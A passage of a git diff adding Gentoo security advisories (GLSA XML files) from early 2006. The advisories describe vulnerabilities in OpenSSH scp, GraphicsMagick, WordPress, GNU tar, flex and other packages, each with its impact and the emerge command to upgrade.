+    systems relying on the return code of gpg or gpgv to authenticate
+    digital signatures.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuPG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/gnupg-1.4.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.gnupg.org/pipermail/gnupg-announce/2006q1/000211.html">GnuPG Security Announcement</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0455">CVE-2006-0455</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 15 Feb 2006 16:05:31 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 18 Feb 2006 12:22:36 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-11.xml b/xml/htdocs/security/en/glsa/glsa-200602-11.xml
new file mode 100644
index 00000000..76a7f3d0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-11.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-11">
+  <title>OpenSSH, Dropbear: Insecure use of system() call</title>
+  <synopsis>
+    A flaw in OpenSSH and Dropbear allows local users to elevate their
+    privileges via scp.
+  </synopsis>
+  <product type="ebuild">OpenSSH</product>
+  <announced>February 20, 2006</announced>
+  <revised>February 20, 2006: 01</revised>
+  <bug>119232</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/openssh" auto="yes" arch="*">
+      <unaffected range="ge">4.2_p1-r1</unaffected>
+      <vulnerable range="lt">4.2_p1-r1</vulnerable>
+    </package>
+    <package name="net-misc/dropbear" auto="yes" arch="*">
+      <unaffected range="ge">0.47-r1</unaffected>
+      <vulnerable range="lt">0.47-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSH is a free application suite consisting of server and
+    clients that replace tools like telnet, rlogin, rcp and ftp with more
+    secure versions offering additional functionality. Dropbear is an SSH
+    server and client designed with a small memory footprint that includes
+    OpenSSH scp code.
+    </p>
+  </background>
+  <description>
+    <p>
+    To copy from a local filesystem to another local filesystem, scp
+    constructs a command line using 'cp' which is then executed via
+    system(). Josh Bressers discovered that special characters are not
+    escaped by scp, but are simply passed to the shell.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By tricking other users or applications to use scp on maliciously
+    crafted filenames, a local attacker user can execute arbitrary commands
+    with the rights of the user running scp.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSH users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openssh-4.2_p1-r1&quot;</code>
+    <p>
+    All Dropbear users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/dropbear-0.47-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0225">CVE-2006-0225</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 06 Feb 2006 20:22:40 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 07 Feb 2006 06:29:22 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 20 Feb 2006 20:03:36 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-12.xml b/xml/htdocs/security/en/glsa/glsa-200602-12.xml
new file mode 100644
index 00000000..b1ee7dfe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-12.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-12">
+  <title>GPdf: heap overflows in included Xpdf code</title>
+  <synopsis>
+    GPdf includes vulnerable Xpdf code to handle PDF files, making it
+    vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gpdf</product>
+  <announced>February 21, 2006</announced>
+  <revised>February 21, 2006: 01</revised>
+  <bug>121511</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.10.0-r4</unaffected>
+      <vulnerable range="lt">2.10.0-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GPdf is a Gnome PDF viewer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dirk Mueller found a heap overflow vulnerability in the XPdf
+    codebase when handling splash images that exceed size of the associated
+    bitmap.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted PDF
+    file with GPdf, potentially resulting in the execution of arbitrary
+    code with the rights of the user running the affected application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GPdf users should upgrade to the latest version.
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gpdf-2.10.0-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0301">CVE-2006-0301</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Feb 2006 20:47:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Feb 2006 21:40:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 17 Feb 2006 23:04:04 +0000">
+    dragonheart
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-13.xml b/xml/htdocs/security/en/glsa/glsa-200602-13.xml
new file mode 100644
index 00000000..2c7e26b6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-13.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-13">
+  <title>GraphicsMagick: Format string vulnerability</title>
+  <synopsis>
+    A vulnerability in GraphicsMagick allows attackers to crash the application
+    and potentially execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">graphicsmagick</product>
+  <announced>February 26, 2006</announced>
+  <revised>February 26, 2006: 01</revised>
+  <bug>119476</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/graphicsmagick" auto="yes" arch="*">
+      <unaffected range="ge">1.1.7</unaffected>
+      <vulnerable range="lt">1.1.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GraphicsMagick is a collection of tools to read, write and
+    manipulate images in many formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SetImageInfo function was found vulnerable to a format string
+    mishandling. Daniel Kobras discovered that the handling of "%"-escaped
+    sequences in filenames passed to the function is inadequate in
+    ImageMagick GLSA 200602-06 and the same vulnerability exists in
+    GraphicsMagick.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By feeding specially crafted file names to GraphicsMagick an
+    attacker can crash the program and possibly execute arbitrary code with
+    the privileges of the user running GraphicsMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GraphicsMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/graphicsmagick-1.1.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200602-06.xml">GLSA 200602-06</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0082">CVE-2006-0082</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Feb 2006 18:24:37 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 22 Feb 2006 11:24:17 +0000">
+    dragonheart
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 22 Feb 2006 21:18:32 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200602-14.xml b/xml/htdocs/security/en/glsa/glsa-200602-14.xml
new file mode 100644
index 00000000..2dd712d7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200602-14.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200602-14">
+  <title>noweb: Insecure temporary file creation</title>
+  <synopsis>
+    noweb is vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">noweb</product>
+  <announced>February 26, 2006</announced>
+  <revised>February 26, 2006: 01</revised>
+  <bug>122705</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/noweb" auto="yes" arch="*">
+      <unaffected range="ge">2.9-r5</unaffected>
+      <vulnerable range="lt">2.9-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    noweb is a simple, extensible, and language independent literate
+    programming tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino has discovered that the lib/toascii.nw
+    and shell/roff.mm scripts insecurely create temporary files with
+    predictable filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary file
+    directory, pointing to a valid file somewhere on the filesystem. When
+    an affected script is called, this would result in the file being
+    overwritten with the rights of the user running the script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All noweb users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/noweb-2.9-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3342">CVE-2005-3342</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 23 Feb 2006 20:08:48 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 23 Feb 2006 20:09:04 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 24 Feb 2006 14:44:04 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-01.xml b/xml/htdocs/security/en/glsa/glsa-200603-01.xml
new file mode 100644
index 00000000..e7a55781
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-01">
+  <title>WordPress: SQL injection vulnerability</title>
+  <synopsis>
+    WordPress is vulnerable to an SQL injection vulnerability.
+  </synopsis>
+  <product type="ebuild">WordPress</product>
+  <announced>March 04, 2006</announced>
+  <revised>March 04, 2006: 01</revised>
+  <bug>121661</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1</unaffected>
+      <vulnerable range="le">1.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based content management and
+    publishing system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Patrik Karlsson reported that WordPress 1.5.2 makes use of an
+    insufficiently filtered User Agent string in SQL queries related to
+    comments posting. This vulnerability was already fixed in the
+    2.0-series of WordPress.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could send a comment with a malicious User Agent
+    parameter, resulting in SQL injection and potentially in the subversion
+    of the WordPress database. This vulnerability wouldn't affect WordPress
+    sites which do not allow comments or which require that comments go
+    through a moderator.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable or moderate comments on your WordPress blogs.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-2.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1012">CVE-2006-1012</uri>
+  </references>
+  
+  <metadata tag="submitter" timestamp="Sun, 26 Feb 2006 14:42:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 26 Feb 2006 14:42:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-02.xml b/xml/htdocs/security/en/glsa/glsa-200603-02.xml
new file mode 100644
index 00000000..0a4b878d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-02.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-02">
+  <title>teTeX, pTeX, CSTeX: Multiple overflows in included XPdf code</title>
+  <synopsis>
+    CSTeTeX, pTeX, and teTeX include vulnerable XPdf code to handle PDF files,
+    making them vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tetex</product>
+  <announced>March 04, 2006</announced>
+  <revised>March 04, 2006: 01</revised>
+  <bug>115775</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/tetex" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r8</unaffected>
+      <vulnerable range="lt">2.0.2-r8</vulnerable>
+    </package>
+    <package name="app-text/cstetex" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r2</unaffected>
+      <vulnerable range="lt">2.0.2-r2</vulnerable>
+    </package>
+    <package name="app-text/ptex" auto="yes" arch="*">
+      <unaffected range="ge">3.1.5-r1</unaffected>
+      <vulnerable range="lt">3.1.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    teTex is a complete TeX distribution. It is used for creating and
+    manipulating LaTeX documents. CSTeX is a TeX distribution with Czech
+    and Slovak support. pTeX is and ASCII publishing TeX distribution.
+    </p>
+  </background>
+  <description>
+    <p>
+    CSTeX, teTex, and pTeX include XPdf code to handle PDF files. This
+    XPdf code is vulnerable to several heap overflows (GLSA 200512-08) as
+    well as several buffer and integer overflows discovered by Chris Evans
+    (CESA-2005-003).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted PDF
+    file with teTeX, pTeX or CSTeX, potentially resulting in the execution
+    of arbitrary code with the rights of the user running the affected
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All teTex users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/tetex-2.0.2-r8&quot;</code>
+    <p>
+    All CSTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/cstetex-2.0.2-r2&quot;</code>
+    <p>
+    All pTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ptex-3.1.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3193">CVE-2005-3193</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200512-08.xml">GLSA 200512-08</uri>
+    <uri link="http://scary.beasts.org/security/CESA-2005-003.txt">CESA-2005-003</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Feb 2006 20:57:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 17 Feb 2006 12:11:23 +0000">
+    dragonheart
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Mar 2006 16:30:04 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-03.xml b/xml/htdocs/security/en/glsa/glsa-200603-03.xml
new file mode 100644
index 00000000..5e2062d0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-03.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-03">
+  <title>MPlayer: Multiple integer overflows</title>
+  <synopsis>
+    MPlayer is vulnerable to integer overflows in FFmpeg and ASF decoding that
+    could potentially result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">MPlayer</product>
+  <announced>March 04, 2006</announced>
+  <revised>June 21, 2006: 02</revised>
+  <bug>115760</bug>
+  <bug>122029</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0.20060217</unaffected>
+      <unaffected range="ge">1.0_pre8</unaffected>
+      <vulnerable range="lt">1.0.20060217</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player capable of handling multiple multimedia file
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    MPlayer makes use of the FFmpeg library, which is vulnerable to a heap
+    overflow in the avcodec_default_get_buffer() function discovered by
+    Simon Kilvington (see GLSA 200601-06). Furthermore, AFI Security
+    Research discovered two integer overflows in ASF file format decoding,
+    in the new_demux_packet() function from libmpdemux/demuxer.h and the
+    demux_asf_read_packet() function from libmpdemux/demux_asf.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious media file which, when opened using
+    MPlayer, would lead to a heap-based buffer overflow. This could result
+    in the execution of arbitrary code with the permissions of the user
+    running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0.20060217&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4048">CVE-2005-4048</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0579">CVE-2006-0579</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200601-06.xml">GLSA 200601-06</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 04 Mar 2006 11:56:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 04 Mar 2006 11:56:59 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-04.xml b/xml/htdocs/security/en/glsa/glsa-200603-04.xml
new file mode 100644
index 00000000..512cd9f3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-04.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-04">
+  <title>IMAP Proxy: Format string vulnerabilities</title>
+  <synopsis>
+    Format string vulnerabilities in IMAP Proxy may lead to the execution of
+    arbitrary code when connected to malicious IMAP servers.
+  </synopsis>
+  <product type="ebuild">up-imapproxy</product>
+  <announced>March 06, 2006</announced>
+  <revised>March 06, 2006: 01</revised>
+  <bug>107679</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/up-imapproxy" auto="yes" arch="*">
+      <unaffected range="ge">1.2.4</unaffected>
+      <vulnerable range="lt">1.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    IMAP Proxy (also known as up-imapproxy) proxies IMAP transactions
+    between an IMAP client and an IMAP server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Steve Kemp discovered two format string errors in IMAP Proxy.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could design a malicious IMAP server and entice
+    someone to connect to it using IMAP Proxy, resulting in the execution
+    of arbitrary code with the rights of the victim user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Only connect to trusted IMAP servers using IMAP Proxy.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IMAP Proxy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/up-imapproxy-1.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2661">CVE-2005-2661</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 05 Mar 2006 09:44:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 05 Mar 2006 09:44:28 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 05 Mar 2006 15:59:30 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-05.xml b/xml/htdocs/security/en/glsa/glsa-200603-05.xml
new file mode 100644
index 00000000..ad377313
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-05">
+  <title>zoo: Stack-based buffer overflow</title>
+  <synopsis>
+    A stack-based buffer overflow in zoo may be exploited to execute arbitrary
+    code through malicious ZOO archives.
+  </synopsis>
+  <product type="ebuild">zoo</product>
+  <announced>March 06, 2006</announced>
+  <revised>March 06, 2006: 01</revised>
+  <bug>123782</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/zoo" auto="yes" arch="*">
+      <unaffected range="ge">2.10-r1</unaffected>
+      <vulnerable range="lt">2.10-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zoo is a file archiving utility for maintaining collections of
+    files, written by Rahul Dhesi.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jean-Sebastien Guay-Leroux discovered a boundary error in the
+    fullpath() function in misc.c when processing overly long file and
+    directory names in ZOO archives.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious ZOO archive and entice someone
+    to open it using zoo. This would trigger a stack-based buffer overflow
+    and potentially allow execution of arbitrary code with the rights of
+    the victim user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zoo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/zoo-2.10-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0855">CVE-2006-0855</uri>
+    <uri link="http://www.guay-leroux.com/projects/zoo-advisory.txt">Original Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 26 Feb 2006 17:26:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 03 Mar 2006 17:54:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 04 Mar 2006 16:06:52 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-06.xml b/xml/htdocs/security/en/glsa/glsa-200603-06.xml
new file mode 100644
index 00000000..4b230f18
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-06">
+  <title>GNU tar: Buffer overflow</title>
+  <synopsis>
+    A malicious tar archive could trigger a Buffer overflow in GNU tar,
+    potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tar</product>
+  <announced>March 10, 2006</announced>
+  <revised>March 10, 2006: 01</revised>
+  <bug>123038</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/tar" auto="yes" arch="*">
+      <unaffected range="ge">1.15.1-r1</unaffected>
+      <vulnerable range="lt">1.15.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU tar is the standard GNU utility for creating and manipulating
+    tar archives, a common format used for creating backups and
+    distributing files on UNIX-like systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jim Meyering discovered a flaw in the handling of certain header
+    fields that could result in a buffer overflow when extracting or
+    listing the contents of an archive.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could construct a malicious tar archive that
+    could potentially execute arbitrary code with the privileges of the
+    user running GNU tar.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU tar users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/tar-1.15.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0300">CVE-2006-0300</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 07 Mar 2006 20:43:28 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 08 Mar 2006 16:57:53 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Mar 2006 18:23:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-07.xml b/xml/htdocs/security/en/glsa/glsa-200603-07.xml
new file mode 100644
index 00000000..99e54cfd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-07.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-07">
+  <title>flex: Potential insecure code generation</title>
+  <synopsis>
+    flex might generate code with a buffer overflow, making applications using
+    such scanners vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">flex</product>
+  <announced>March 10, 2006</announced>
+  <revised>March 10, 2006: 01</revised>
+  <bug>122940</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="sys-devel/flex" auto="yes" arch="*">
+      <unaffected range="ge">2.5.33-r1</unaffected>
+      <vulnerable range="lt">2.5.33-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    flex is a programming tool used to generate scanners (programs
+    which recognize lexical patterns in text).
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Moore discovered a buffer overflow in a special class of
+    lexicographical scanners generated by flex. Only scanners generated by
+    grammars which use either REJECT, or rules with a "variable trailing
+    context" might be at risk.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could feed malicious input to an application making
+    use of an affected scanner and trigger the buffer overflow, potentially
+    resulting in the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Avoid using vulnerable grammar in your flex scanners.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All flex users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-devel/flex-2.5.33-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0459">CVE-2006-0459</uri>
+  </references>
